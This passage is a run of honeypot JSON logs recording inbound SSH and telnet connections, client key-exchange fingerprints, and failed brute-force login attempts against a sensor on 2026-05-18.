{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:57.121719Z","src_ip":"87.251.64.176","session":"9b8484082a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50784,"dst_ip":"10.17.0.5","dst_port":22,"session":"d735cee0e43a","protocol":"ssh","message":"New connection: 193.32.162.145:50784 (10.17.0.5:22) [session: d735cee0e43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:58.496413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:58.501230Z","src_ip":"193.32.162.145","session":"d735cee0e43a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:58.606241Z","src_ip":"193.32.162.145","session":"d735cee0e43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:58.911415Z","src_ip":"193.32.162.145","session":"d735cee0e43a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":40902,"dst_ip":"10.17.0.5","dst_port":22,"session":"83c9234f7e3d","protocol":"ssh","message":"New connection: 43.159.35.21:40902 (10.17.0.5:22) [session: 83c9234f7e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:59.601998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:59.606918Z","src_ip":"43.159.35.21","session":"83c9234f7e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:59.838625Z","src_ip":"43.159.35.21","session":"83c9234f7e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:00.013749Z","src_ip":"193.32.162.145","session":"d735cee0e43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:00.795476Z","src_ip":"43.159.35.21","session":"83c9234f7e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":41500,"dst_ip":"10.17.0.5","dst_port":22,"session":"717ea8d5ee2d","protocol":"ssh","message":"New connection: 50.7.136.106:41500 (10.17.0.5:22) [session: 717ea8d5ee2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:01.950023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:01.959234Z","src_ip":"50.7.136.106","session":"717ea8d5ee2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:02.031831Z","src_ip":"43.159.35.21","session":"83c9234f7e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:02.044281Z","src_ip":"50.7.136.106","session":"717ea8d5ee2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhbjETuyMffoL8F","message":"login attempt [root/zhbjETuyMffoL8F] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:02.295949Z","src_ip":"50.7.136.106","session":"717ea8d5ee2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:03.381814Z","src_ip":"50.7.136.106","session":"717ea8d5ee2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60594,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd2a1419975f","protocol":"telnet","message":"New connection: 152.42.224.71:60594 (10.17.0.5:23) [session: dd2a1419975f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:05.744420Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":37644,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbfaf88cdd1f","protocol":"ssh","message":"New connection: 194.147.93.208:37644 (10.17.0.5:22) [session: fbfaf88cdd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:13.969799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:13.974547Z","src_ip":"194.147.93.208","session":"fbfaf88cdd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:14.065128Z","src_ip":"194.147.93.208","session":"fbfaf88cdd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56704,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4b59b0e5c44","protocol":"telnet","message":"New connection: 152.42.224.71:56704 (10.17.0.5:23) [session: c4b59b0e5c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:14.175530Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc2wsx!QAZ","message":"login attempt [root/3edc2wsx!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:14.460609Z","src_ip":"194.147.93.208","session":"fbfaf88cdd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:15.554462Z","src_ip":"194.147.93.208","session":"fbfaf88cdd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.49795174598694,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:23.226170Z","src_ip":"152.42.224.71","session":"0c9d07cd8dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54660,"dst_ip":"10.17.0.5","dst_port":23,"session":"090331a5eba4","protocol":"telnet","message":"New connection: 152.42.224.71:54660 (10.17.0.5:23) [session: 090331a5eba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:23.476272Z"}
{"eventid":"cowrie.session.closed","duration":39.509788513183594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:25.921431Z","src_ip":"152.42.224.71","session":"344cfc32b709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":58822,"dst_ip":"10.17.0.5","dst_port":22,"session":"c80032ca40cd","protocol":"ssh","message":"New connection: 43.153.54.120:58822 (10.17.0.5:22) [session: c80032ca40cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:30.339960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:30.344771Z","src_ip":"43.153.54.120","session":"c80032ca40cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:30.413063Z","src_ip":"43.153.54.120","session":"c80032ca40cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx","message":"login attempt [root/xxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:30.718388Z","src_ip":"43.153.54.120","session":"c80032ca40cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:31.791408Z","src_ip":"43.153.54.120","session":"c80032ca40cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":55840,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbafbe8e556f","protocol":"ssh","message":"New connection: 43.159.169.93:55840 (159.203.135.109:22) [session: dbafbe8e556f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:32.519508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:32.525234Z","src_ip":"43.159.169.93","session":"dbafbe8e556f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:32.593269Z","src_ip":"43.159.169.93","session":"dbafbe8e556f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"letmein","message":"login attempt [ubuntu/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:32.898193Z","src_ip":"43.159.169.93","session":"dbafbe8e556f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.833748817443848,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:33.009200Z","src_ip":"152.42.224.71","session":"c4b59b0e5c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:33.969963Z","src_ip":"43.159.169.93","session":"dbafbe8e556f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":37864,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f21c18743c8","protocol":"ssh","message":"New connection: 62.193.106.227:37864 (10.17.0.5:22) [session: 5f21c18743c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:37.562587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:37.567326Z","src_ip":"62.193.106.227","session":"5f21c18743c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:37.712398Z","src_ip":"62.193.106.227","session":"5f21c18743c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shenxuan","message":"login attempt [root/shenxuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:38.319704Z","src_ip":"62.193.106.227","session":"5f21c18743c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:39.467816Z","src_ip":"62.193.106.227","session":"5f21c18743c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.58914041519165,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:39.875676Z","src_ip":"152.42.224.71","session":"02e730aeddbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97254776954651,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:43.716811Z","src_ip":"152.42.224.71","session":"dd2a1419975f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59716,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a24dca8ac62","protocol":"ssh","message":"New connection: 103.176.20.57:59716 (159.203.135.109:22) [session: 1a24dca8ac62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:43.874386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:43.881174Z","src_ip":"103.176.20.57","session":"1a24dca8ac62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac